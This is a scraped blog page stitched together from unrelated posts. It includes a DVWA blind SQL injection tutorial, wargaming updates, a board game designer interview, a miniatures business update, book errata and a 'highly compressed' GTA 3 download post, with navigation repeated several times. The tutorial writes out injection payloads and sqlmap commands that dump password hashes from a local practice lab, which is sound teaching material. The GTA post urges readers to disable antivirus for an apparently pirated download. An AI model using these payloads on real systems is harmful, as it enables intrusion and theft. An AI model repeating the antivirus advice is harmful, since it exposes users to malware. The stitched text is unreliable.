Learning Web Pentesting With DVWA Part 3: Blind SQL Injection

In this article we are going to do the SQL Injection (Blind) challenge of DVWA.
OWASP describes Blind SQL Injection as:
"Blind SQL (Structured Query Language) injection is a type of attack that asks the database true or false questions and determines the answer based on the applications response. This attack is often used when the web application is configured to show generic error messages, but has not mitigated the code that is vulnerable to SQL injection.

When an attacker exploits SQL injection, sometimes the web application displays error messages from the database complaining that the SQL Query's syntax is incorrect. Blind SQL injection is nearly identical to normal , the only difference being the way the data is retrieved from the database. When the database does not output data to the web page, an attacker is forced to steal data by asking the database a series of true or false questions. This makes exploiting the SQL Injection vulnerability more difficult, but not impossible."

To follow along click on the SQL Injection (Blind) navigation link. You will be presented with a page like this:

Lets first try to enter a valid User ID to see what the response looks like. Enter 1 in the User ID field and click submit. The result should look like this:

Lets call this response as valid response for the ease of reference in the rest of the article. Now lets try to enter an invalid ID to see what the response for that would be. Enter something like 1337 the response would be like this:

We will call this invalid response. Since we know both the valid and invalid response, lets try to attack the app now. We will again start with a single quote (') and see the response. The response we got back is the one which we saw when we entered the wrong User ID. This indicates that our query is either invalid or incomplete. Lets try to add an or statement to our query like this:

' or 1=1-- -

This returns a valid response. Which means our query is complete and executes without errors. Lets try to figure out the size of the query output columns like we did with the sql injection before in Learning Web Pentesting With DVWA Part 2: SQL Injection.
Enter the following in the User ID field:

' or 1=1 order by 1-- -

Again we get a valid response lets increase the number to 2.

' or 1=1 order by 2-- -

We get a valid response again lets go for 3.

' or 1=1 order by 3-- -

We get an invalid response so that confirms the size of query columns (number of columns queried by the server SQL statement) is 2.
Lets try to get some data using the blind sql injection, starting by trying to figure out the version of dbms used by the server like this:

1' and substring(version(), 1,1) = 1-- -

Since we don't see any output we have to extract data character by character. Here we are trying to guess the first character of the string returned by version() function which in my case is 1. You'll notice the output returns a valid response when we enter the query above in the input field.
Lets examine the query a bit to further understand what we are trying to accomplish. We know 1 is the valid user id and it returns a valid response, we append it to the query. Following 1, we use a single quote to end the check string. After the single quote we start to build our own query with the and conditional statement which states that the answer is true if and only if both conditions are true. Since the user id 1 exists we know the first condition of the statement is true. In the second condition, we extract first character from the version() function using the substring() function and compare it with the value of 1 and then comment out the rest of server query. Since first condition is true, if the second condition is true as well we will get a valid response back otherwise we will get an invalid response. Since my the version of mariadb installed by the docker container starts with a 1 we will get a valid response. Lets see if we will get an invalid response if we compare the first character of the string returned by the version() function to 2 like this:

1' and substring(version(),1,1) = 2-- -

And we get the invalid response. To determine the second character of the string returned by the version() function, we will write our query like this:
1' and substring(version(),2,2) = 1-- -
We get invalid response. Changing 1 to 2 then 3 and so on we get invalid response back, then we try 0 and we get a valid response back indicating the second character in the string returned by the version() function is 0. Thus we have got so for 10 as the first two characters of the database version. We can try to get the third and fourth characters of the string but as you can guess it will be time consuming. So its time to automate the boring stuff. We can automate this process in two ways. One is to use our awesome programming skills to write a program that will automate this whole thing. Another way is not to reinvent the wheel and try sqlmap. I am going to show you how to use sqlmap but you can try the first method as well, as an exercise.
Lets use sqlmap to get data from the database. Enter 1 in the User ID field and click submit.
Then copy the URL from the URL bar which should look something like this
http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit
Now open a terminal and type this command:

sqlmap --version

this will print the version of your sqlmap installation otherwise it will give an error indicating the package is not installed on your computer. If its not installed then go ahead and install it.
Now type the following command to get the names of the databases:

sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id

Here replace the PHPSESSID with your session id which you can get by right clicking on the page and then clicking inspect in your browser (Firefox here). Then click on storage tab and expand cookie to get your PHPSESSID. Also your port for dvwa web app can be different so replace the URL with yours.
The command above uses -u to specify the url to be attacked, --cookie flag specifies the user authentication cookies, and -p is used to specify the parameter of the URL that we are going to attack.
We will now dump the tables of dvwa database using sqlmap like this:

sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id -D dvwa --tables

After getting the list of tables its time to dump the columns of users table like this:

sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id -D dvwa -T users --columns

And at last we will dump the passwords column of the users table like this:

sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id -D dvwa -T users -C password --dump

Now you can see the password hashes.
As you can see automating this blind sqli using sqlmap made it simple. It would have taken us a lot of time to do this stuff manually. That's why in pentests both manual and automated testing is necessary. But its not a good idea to rely on just one of the two rather we should leverage power of both testing types to both understand and exploit the vulnerability.
By the way we could have used something like this to dump all databases and tables using this sqlmap command:

sqlmap -u "http://localhost:9000/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aks68qncbmtnd59q3ue7bmam30" -p id --dump-all

But obviously it is time and resource consuming so we only extracted what was interested to us rather than dumping all the stuff.
Also we could have used sqlmap in the simple sql injection that we did in the previous article. As an exercise redo the SQL Injection challenge using sqlmap.

References:

1. Blind SQL Injection: https://owasp.org/www-community/attacks/Blind_SQL_Injection
2. sqlmap: http://sqlmap.org/
3. MySQL SUBSTRING() Function: https://www.w3schools.com/sql/func_mysql_substring.asp

Back? Well, I Never Actually Went Away.

Free Counter

Blimey, been a long time since I looked at this, lots has happened, both in life and in wargaming.
Anyway, I will be re-visiting this blog. Maybe not as much as I did seven (7!!) years ago, but I feel now it would be fun to do a bit from time to time.
The main reason for not keeping this blog up was that I'd pretty much run out of puff, so, hopefully now I should be able to capitalise on having had a long break to come up with a few things that some folk might be interested in.

Nazis for Big COC currently on the workbench

Downlod Gta 3 Highle Compresed In 98.0Mb By (Ayush Anand)

download gta 3 full free verson

gta 3 minimum reqirments2 gb ram1 tb hardiskintel pentunium processorwindow 7.8.xp only (plese downlod winrar software to wotk ) (also downlod direct x) (plese disable antivirus)the game is given by ayush anand and sponserd by y.yada gamerGrand Theft Auto III is an action-adventure video game developed by DMA Design and published by Rockstar Games. It was released in October 2001 for the PlayStation 2, in May 2002 for Microsoft Windows, and in October 2003 for the Xbox. A remastered version of the game was released on mobile platforms in 2011, for the game's tenth anniversary. It is the fifth title in the Grand Theft Auto series, and the first main entry since 1999's Grand Theft Auto 2. Set within the fictional Liberty City, based on New York City, the game follows Claude after he is left for dead and quickly becomes entangled in a world of gangs, crime and corruption.The game is played from a third-person perspective and its world is navigated on foot or by vehicle. The open world design lets players freely roam Liberty City, consisting of three main islands. Development was shared between DMA Design, based in Edinburgh and Rockstar, in New York City. Much of the development work constituted transforming popular series elements into a fully 3D world. The game was delayed following the September 11 attacks, to allow the team to change references and gameplay deemed inappropriate.Upon release, the game received critical acclaim, with praise particularly directed at its concept and gameplay. However, the game also generated controversy, with criticism directed at the depiction of violence and sexual content. Grand Theft Auto III became the best-selling video game of 2001, and has sold over 14.5 million copies since. Considered one of the most significant titles of the sixth generation of video games, and by many critics as one of the greatest video games of all time, it won year-end accolades, including Game of the Year awards from several gaming publications. Since its release, it has received numerous ports to many gaming platforms. Its successor, Grand Theft Auto: Vice City, was released in October 2002.

game pssword is = i dontknow password

Austro-Hungarian Vindow Vasher

I finished up the gun barrels and windows this week. Just the funnel, colors and touch ups left to go.

Austro-Hungary Novara Class Heavy Destroyer

Austro-Hungary Prinz Eugen Class Destroyer

People Behind The Meeples - Episode 235: Aaron McDonell Moline

Welcome to People Behind the Meeples, a series of interviews with indie game designers. Here you'll find out more than you ever wanted to know about the people who make the best games that you may or may not have heard of before. If you'd like to be featured, head over to http://gjjgames.blogspot.com/p/game-designer-interview-questionnaire.html and fill out the questionnaire! You can find all the interviews here: People Behind the Meeples. Support me on Patreon!

Name:	Aaron McDonell Moline
Email:	aaron@bardsharkcom
Location:	New York City
Day Job:	I am a journalist by profession, but I've been working on Antematter full time for the past many months.
Designing:	Three years.
Webpage:	bardshark.com
BGG:	Antematter
Facebook:	BardShark
Twitter:	@BardSharkGames
YouTube:	Bardshark
Instagram:	@bardshark
Find my games at:	On Kickstarter this August!

Today's Interview is with:

Aaron McDonell Moline
Interviewed on: 7/18/2020

In 2017, Aaron McDonell Moline founded BardShark Games with his friends and family with the goal of designing and publishing exciting, new games. His first design, Antematter, will be on Kickstarter next month. Read on to learn more about Aaron and his current projects.

Some Basics
Tell me a bit about yourself.

How long have you been designing tabletop games?
Two to five years.

Why did you start designing tabletop games?
Because I love games, and because I think that working on what you love is the best kind of life.

What game or games are you currently working on?
Antematter, and some preproduction stuff I'm not gonna get into just yet.

Have you designed any games that have been published?
Not yet!

What is your day job?
I am a journalist by profession, but I've been working on Antematter full time for the past many months.

Your Gaming Tastes
My readers would like to know more about you as a gamer.

Where do you prefer to play games?
In my home.

Who do you normally game with?
My wife, my friends, my brother. Basically all the people I work with at BardShark.

If you were to invite a few friends together for game night tonight, what games would you play?
Something fun and not too rules heavy, like Codenames.

And what snacks would you eat?
New York has the best delivery in the world, so we tend to vary our team meals.

Do you like to have music playing while you play games? If so, what kind?
Depends on the game. For Antematter, some Jazz might be what I'm looking for.

What's your favorite FLGS?
Hex and Company

What is your current favorite game? Least favorite that you still enjoy? Worst game you ever played?
It's a hard one. I love Boss Monster. I wanted to love Scythe and I've enjoyed playing it, but it's not for me. I've played a LOT of very bad games over the years. Have you ever heard of Floating Runner?

What is your favorite game mechanic? How about your least favorite?
I dig games whose narrative and mechanics are blended together to form a whole better than the sum of its parts. My least favorite things are just bummers like durability or inventory systems that take you from playing something fun to managing something clunky and boring.

What's your favorite game that you just can't ever seem to get to the table?
Man, what I wouldn't give just to have my friends over for a regular old game of Poker.

What styles of games do you play?
I like to play Board Games, Card Games, RPG Games, Video Games

Do you design different styles of games than what you play?
I like to design Board Games, RPG Games, Video Games

OK, here's a pretty polarizing game. Do you like and play Cards Against Humanity?
I like cards and humanity.

You as a Designer
OK, now the bit that sets you apart from the typical gamer. Let's find out about you as a game designer.

When you design games, do you come up with a theme first and build the mechanics around that? Or do you come up with mechanics and then add a theme? Or something else?
I think that development is an iterative process that should intertwine story and themes with the gameplay. In our case, the theme and world our games take place in was devised over the course of years, but the mechanics of the game were built on their own and have shaped and been shaped by the theme we've chosen.

Have you ever entered or won a game design competition?
Nope.

Do you have a current favorite game designer or idol?
I think what Jamey Stegmaier is doing over at Stonemaier Games is pretty awesome.

Where or when or how do you get your inspiration or come up with your best ideas?
I think the best ways to get inspiration are to immerse yourself in games, talk about games, and collaborate.

How do you go about playtesting your games?
First we do a whole mess of internal playtesting. Then we bring in trusted friends and family who like to play games. Then we playtest it ourselves some more. Then we take it to conventions where enthusiasts can get their hands on it and provide feedback. Then we go back and playtest it some more, and repeat the process. So far it's worked out for us.

Do you like to work alone or as part of a team? Co-designers, artists, etc.?
I have the best team behind me. Artists, mechanics, problem solvers, all friends and family.

What do you feel is your biggest challenge as a game designer?
Coming from out of nowhere and trying to get people as excited as we are about this new game we've been working on.

If you could design a game within any IP, what would it be?
Our IP. The Engine Star Universe. Although if you twisted my arm to mention an outside IP, I'd have to confess that I would love to do something in fantasy, like A Song of Ice and Fire or Lord of the Rings.

What do you wish someone had told you a long time ago about designing games?
That I'd love it this much, and to start earlier.

What advice would you like to share about designing games?
Work with people you trust, and learn how to juggle.

Would you like to tell my readers what games you're working on and how far along they are?
I'm planning to crowdfund: Antematter

Are you a member of any Facebook or other design groups? (Game Maker's Lab, Card and Board Game Developers Guild, etc.)
Board Game Reviewers and Media Tabletop Game Kickstarter Advice The Boardgame Group

And the oddly personal, but harmless stuff…
OK, enough of the game stuff, let's find out what really makes you tick! These are the questions that I'm sure are on everyone's minds!

Star Trek or Star Wars? Coke or Pepsi? VHS or Betamax?
Wars/Coke/VHS

What hobbies do you have besides tabletop games?
Video games, for sure. I'm a voracious reader of nonfiction and history. I also love a bad/good B-Movie.

What is something you learned in the last week?
I learned that getting the first prototypes for your very first game feels pretty freaking awesome.

Favorite type of music? Books? Movies?
My music taste is pretty broad. Books I tend to read mostly nonfiction but I do read science fiction and fantasy. Lord of the Rings, Dune, A Song of Ice and Fire, classic Asimov.

What was the last book you read?
Gods of War, a look at various military rivalries throughout history from Scipio vs Hannibal to Patton and Montgomery vs Rommel.

Do you play any musical instruments?
I am pitiful at guitar.

Tell us something about yourself that you think might surprise people.
I don't eat cheese. Except on pizza. (I am so sorry).

Tell us about something crazy that you once did.
Right after college I moved to Prague, a city I had never been to and where I knew absolutely no one.

Biggest accident that turned out awesome?
I met my wife entirely by accident in college. My friends and I had the last open room on campus and she became our fourth roommate.

Who is your idol?
I tend not to idolize. But probably an artist who is unapologetically themselves creatively, like Tarantino or Paul Tomas Anderson, or Wes Anderson. What is it with Andersons?

What would you do if you had a time machine?
I would go back in time and convince myself to start making games much earlier.

Are you an extrovert or introvert?
Introvert by temperament, extrovert by necessity.

If you could be any superhero, which one would you be?
When I was a kid and we played superheroes, I would invariably pick Wolverine.

Have any pets?
Not yet, but hopefully a dog soon.

When the next asteroid hits Earth, causing the Yellowstone caldera to explode, California to fall into the ocean, the sea levels to rise, and the next ice age to set in, what current games or other pastimes do you think (or hope) will survive into the next era of human civilization? What do you hope is underneath that asteroid to be wiped out of the human consciousness forever?
Hopefully some of mine! I think that there are games out there that absolutely will pass the test of time, and I think lots of the most popular ones now will recede into the background. I'm at pains to try to wish oblivion on anyone's creative work, but I must confess that I think some of the lazier installments of certain long and tired games series could stand to be culled.

If you'd like to send a shout out to anyone, anyone at all, here's your chance (I can't guarantee they'll read this though):
To our fans and the friendly people who helped us test our game and gave us such fantastic feedback, I'd just have to extend a sincere thank you.

Just a Bit More
Thanks for answering all my crazy questions! Is there anything else you'd like to tell my readers?

Just to feel free to reach out to learn more about us or our game.

Thank you for reading this People Behind the Meeples indie game designer interview! You can find all the interviews here: People Behind the Meeples and if you'd like to be featured yourself, you can fill out the questionnaire here: http://gjjgames.blogspot.com/p/game-designer-interview-questionnaire.html

Did you like this interview? Please show your support: Support me on Patreon! Or click the heart at Board Game Links

, like GJJ Games on Facebook

, or follow on Twitter

. And be sure to check out my games on Tabletop Generation.

A LITTLE CATCHING UP MAY BE IN ORDER

I decided that it might be helpful to go over some of what goes on in the background as it may help shed a light on the next post of 'THE STATE OF DFG AS A BUSINESS AND WHERE TO GO', as well as provide some insight on where the hell has Mark been and why I have made some of the decisions I will talk about in the next post, or two or three…..

Some have asked if DFG is still in business, yes we are, and what you see available on the store is in stock and ready to ship. We did pull out of the supply chain late last year, which I will go over in this post and the next couple of posts.

Some have said, that I should have kept my customers in the loop and posted about the good and the bad.

Yes, he's right... Hopefully the next few posts will help shed some light on that aspect.

What has happened since WGF closed its retail side. The last 2 years have been packed with educational opportunities.

Old news with some insight:

WGF shutters it sales end, I take over distribution, while this is in progress there were some talks with a company about taking over the line, this did not come to fruition. We simply ran out of time as the product needed to be in a new home before WGF closed out its US warehouse. There is some time spent setting up the infrastructure, warehouse, etc. Setting up Website interfaces for wholesale ordering, which was pretty much a waste of time as most wholesalers/Retailers would much prefer to send an order in, in whatever format their system kicks out.

Once the dust settled a bit. I started tracking sales closely, place a restock order for some products that are running very low and wait for the restock…and wait…. Eventually they arrive with a couple of new releases that I know will not have much of an effect on the bottom line or excitement. The molds had already been cut and it was a good test for a rather lackluster release to see what that looked like. This was an important test for me, I knew it was going to be a soft release and I knew that I had to plan for such releases to happen now and then. Its not that I wanted them to fail, I just knew they would not be big hits, as did the supply chain. This would give me a base line and let me know what was at risk form an investment standpoint if a release just did not take, I will just say, its not pretty and leave it at that….

Exploring possibilities:

Sufficed to say, there have been a LOT of false starts, exploring possibilities that eventually come to a decision not to peruse the opportunity This is often not anyone's fault, just two parties feeling out the opportunities and seeing if there is a way to make something happen. In the end it comes down to a dollars and cents business decision. Most of the time one party or both is simply not in the position at that moment to monopolize on the opportunity. Some explorations are covered by NDA and even those that are not, I will not be going into details about who and what, etc.

Between the time I took over distribution and now, I have explored with various entities many possible business opportunities, some of these took days, some, months. It just depended on where the conversation took us and what possibilities were on the table.

I am quick to 'pick up the phone' and chat with anyone about possibilities I am also quick to get down to remuneration, although this aspect often takes some time to work out details. End of the day, everyone involved needs to be compensated in one way or another.

Then we come to 2017:

I finalize a few files for production (StuG tank, Shadokesh and Ferals) and start exploring other manufacturing avenues… (more on why later) Finding a proper manufacture takes a great deal of time a load of back and forth and some minor testing to at least make sure each possibility is viable from a cost and quality standpoint.

That damn bottom line:

I had one last the opportunity to explore a partnership possibility with a very nice, energetic and competent individual, that honestly would have been a breath of fresh air.

Still being in distribution, I had reservations about the profit margins and the ability to provide a fair return to the partner. Entering into that kind of arrangement needs to be good for everyone involved and I could not see a way to guarantee that individual a fair return on investment, so I thought it best not to proceed with that avenue.

I already knew that things had stalled a long time ago but looking at this from strictly a bottom line perspective after exploring the partnership possibility, the margin concerns, now brought into full view, cemented the path forward. I decided late in the year to remove my products form distribution, as I could not see a way to release new products at reasonable price to my customers and still satisfy the supply chain discounts. This was a rather painful decision as it meant leaving behind long standing relationships to try and forge a path forward.

When it comes to many of my retail customers, I have known many of these individuals for quite a while, corresponding with them and sending out marketing packets for releases, teasing products and sending out samples for review, etc. Some of the direct retailer contacts were the best experiences I have had…. They have all been very good to me and if I had the ability to do so and not drop into the red, I would still be selling to them. Having said that, I would not be talking so openly right now either, I understand promises, expectations and statements need to be tethered as you are in a business relationship that is mutually beneficial and that setting them up for failure you are setting yourself up as well.

Add the normal life things, a home remodel performed on the cheap by yours truly and other such things and the year slipped on by before I had a chance to say hello to it.

Book Errata

I may have mentioned this before, but there's an error in the Open to Buy table on page 143 of Friendly Local Game Store. The calculations are wonky starting on the second line. Here's what it should look like, based on the data in that table:

The important calculation on each day is the Balance column.

2-27, is $1,000 (starting balance), plus COGS on 2/27, minus Purchases on 2/27.
2-28 is the Balance from 2/27, plus COGS on 2/28, minus Purchases on 2/28.
2-29 and on, just copy the formula from the Balance on 2/28.

Nome
Email
Município/Estado
CEP

Páginas

Learning Web Pentesting With DVWA Part 3: Blind SQL Injection

References:

Related news

Back? Well, I Never Actually Went Away.

Downlod Gta 3 Highle Compresed In 98.0Mb By (Ayush Anand)

Austro-Hungarian Vindow Vasher

People Behind The Meeples - Episode 235: Aaron McDonell Moline

Aaron McDonell Moline
Interviewed on: 7/18/2020

Some Basics
Tell me a bit about yourself.

Your Gaming Tastes
My readers would like to know more about you as a gamer.

You as a Designer
OK, now the bit that sets you apart from the typical gamer. Let's find out about you as a game designer.

And the oddly personal, but harmless stuff…
OK, enough of the game stuff, let's find out what really makes you tick! These are the questions that I'm sure are on everyone's minds!

Just a Bit More
Thanks for answering all my crazy questions! Is there anything else you'd like to tell my readers?

A LITTLE CATCHING UP MAY BE IN ORDER

Book Errata

Páginas

Learning Web Pentesting With DVWA Part 3: Blind SQL Injection

References:

Related news

Back? Well, I Never Actually Went Away.

Downlod Gta 3 Highle Compresed In 98.0Mb By (Ayush Anand)

Austro-Hungarian Vindow Vasher

People Behind The Meeples - Episode 235: Aaron McDonell Moline

Aaron McDonell MolineInterviewed on: 7/18/2020

Some Basics Tell me a bit about yourself.

Your Gaming Tastes My readers would like to know more about you as a gamer.

You as a Designer OK, now the bit that sets you apart from the typical gamer. Let's find out about you as a game designer.

And the oddly personal, but harmless stuff… OK, enough of the game stuff, let's find out what really makes you tick! These are the questions that I'm sure are on everyone's minds!

Just a Bit MoreThanks for answering all my crazy questions! Is there anything else you'd like to tell my readers?

A LITTLE CATCHING UP MAY BE IN ORDER

Book Errata

Aaron McDonell Moline
Interviewed on: 7/18/2020

Some Basics
Tell me a bit about yourself.

Your Gaming Tastes
My readers would like to know more about you as a gamer.

You as a Designer
OK, now the bit that sets you apart from the typical gamer. Let's find out about you as a game designer.

And the oddly personal, but harmless stuff…
OK, enough of the game stuff, let's find out what really makes you tick! These are the questions that I'm sure are on everyone's minds!

Just a Bit More
Thanks for answering all my crazy questions! Is there anything else you'd like to tell my readers?